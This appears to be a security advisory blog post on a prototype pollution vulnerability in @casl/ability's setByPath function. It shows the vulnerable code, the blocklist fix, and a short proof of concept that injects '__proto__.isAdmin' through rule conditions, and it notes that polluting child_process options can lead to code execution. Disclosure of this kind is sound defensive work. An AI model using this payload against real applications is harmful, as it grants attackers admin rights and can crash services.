Feb 12, 2026·6 min read·33 visits
The bouncer is drunk. @casl/ability versions < 6.7.5 contain a flaw in the `setByPath` utility that allows writing to `__proto__`. This enables attackers to pollute the global Object prototype, turning a library meant for restricting access into a tool for granting total control.
A critical Prototype Pollution vulnerability in the popular authorization library @casl/ability allows attackers to corrupt the Object prototype. By supplying malicious rule conditions, an attacker can bypass security checks, cause Denial of Service, or potentially achieve Remote Code Execution (RCE) in Node.js environments.
You know what's tragically ironic? Authorization libraries are supposed to be the digital bouncers of your application. They stand at the function calls, checking IDs, ensuring 'User A' doesn't touch 'Resource B'. They are the trusted gatekeepers. But what happens when the bouncer leaves the back door propped open with a brick? That is CVE-2026-1774.
CASL (@casl/ability) is the go-to isomorphic library for handling permissions in the JavaScript ecosystem. It's elegant, powerful, and apparently, until recently, fatally trusting of input. The vulnerability lies deep within the extra module, specifically in how it parses field paths.
If you are using this library to parse user-defined rules—common in multi-tenant SaaS apps where admins define permissions—you aren't just vulnerable. You are handing attackers a loaded gun and pointing it at your own foot. This isn't just a bypass; it's a full-system compromise waiting to happen via Prototype Pollution.
The vulnerability hides in a utility function called setByPath. Developers love these little helpers. They take a string like 'user.address.zip' and magicaly hydrate a nested object structure. It saves time. It feels clean. It's also a minefield if you don't watch where you step.
The logic inside setByPath uses a .reduce() loop to traverse the object based on the dot-notation string. It looks innocent enough: split the string, walk the object, create properties if they don't exist. The fatal flaw? It didn't care what property it was walking.
When the function encounters the forbidden token __proto__, it doesn't stop. It treats it like any other key. It traverses up the prototype chain, setting the accumulator reference to Object.prototype. Once the loop lands there, the next key in the path is written directly to the global prototype. In JavaScript, modifying Object.prototype is like poisoning the town well—everyone who drinks from it gets sick. Every object created thereafter will inherit your malicious property.
Let's look at the diff. This is where the developer realized they messed up. The vulnerability existed because the code blindly assigned values to whatever key was in the path array.
The Vulnerable Logic:
// The code that broke the world
export function setByPath(object: AnyObject, path: string, value: unknown): void {
let ref = object;
const keys = path.split('.');
// No validation. Just vibes.
ref = keys.reduce((res, prop) => {
res[prop] = res[prop] || {};
return res[prop] as AnyObject;
}, object);
ref[lastKey] = value;
}The Fix (v6.7.5):
In commit 39da920ec1dfadf3655e28bd0389e960ac6871f4, the maintainers added a blocklist. It's not the most elegant solution (blocklists rarely are), but it stops the immediate bleeding.
// The sanity check
const FORBIDDEN_PROPERTIES = new Set(['__proto__', 'constructor', 'prototype']);
export function setByPath(object: AnyObject, path: string, value: unknown): void {
// ...
ref = keys.reduce((res, prop) => {
// If the attacker tries to climb the prototype chain, we just ignore them.
if (FORBIDDEN_PROPERTIES.has(prop)) return res;
res[prop] = res[prop] || {};
return res[prop] as AnyObject;
}, object);
// ...
}> [!NOTE]
> While this fixes the specific gadget in setByPath, it serves as a reminder: anytime you accept a key/path from a user and use it to access an object, you are playing with fire.
So, how do we weaponize this? The vulnerable function is often triggered via rulesToFields(). This is used to convert CASL rules into database queries (like MongoDB criteria). If your application allows users to store or define their own permissions (e.g., "I want to allow access to Posts where condition X meets Y"), you are cooked.
Here is a realistic attack chain:
Proof of Concept:
import { rulesToFields } from '@casl/ability/extra';
import { defineAbility } from '@casl/ability';
// The Trojan Horse
const maliciousAbility = defineAbility((can) => {
// "I can read Posts if... oh, by the way..."
can('read', 'Post', {
'__proto__.isAdmin': true,
'__proto__.toString': 'Checking permissions... JK broken.'
});
});
// The trigger
rulesToFields(maliciousAbility, 'read', 'Post');
// The Verification
if (({}).isAdmin) {
console.log("pwnd: access granted to everyone.");
}Once Object.prototype.isAdmin is true, any subsequent check in your code like if (user.isAdmin) might accidentally return true if the user object doesn't have its own isAdmin property. You just promoted every user in the database to Administrator.
You might wonder why this gets a near-perfect 9.8 score. "It's just adding properties to objects," you say. Wrong. In Node.js environments, Prototype Pollution is often a stepping stone to Remote Code Execution (RCE).
There are known "gadgets" in popular libraries (like generic template engines, child_process spawning logic, or argument parsers) that look for specific properties on objects. If they don't find them, they check the prototype. By polluting Object.prototype, an attacker can inject malicious configurations into unrelated system calls.
For example, polluting shell, env, or execPath can trick child_process.spawn into executing arbitrary binaries. Even without RCE, overwriting toString or valueOf will almost certainly crash the application (DoS), causing a complete outage.
If you are running @casl/ability versions 2.4.0 through 6.7.4, you need to update immediately. Version 6.7.5 is the patched release. Go check your package-lock.json right now. I'll wait.
Remediation Steps:
npm install @casl/ability@latestMap instead of Object for dictionaries where keys are user-controlled.If you cannot upgrade for some reason (legacy constraints?), you can try to mitigate this at the runtime level by freezing the prototype early in your application boot process:
// The nuclear option
Object.freeze(Object.prototype);Be warned: this might break other libraries that legitimately modify the prototype (though they shouldn't be doing that anyway).
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
@casl/ability Stalniy | >= 2.4.0 < 6.7.5 | 6.7.5 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-1321 |
| Attack Vector | Network |
| CVSS Score | 9.8 (Critical) |
| EPSS Score | 0.00022 (Low Probability) |
| Exploit Status | PoC Available |
| Impact | RCE / DoS / Auth Bypass |
The application does not properly control which attributes can be modified in the prototype of an object, allowing an attacker to manipulate the prototype chain.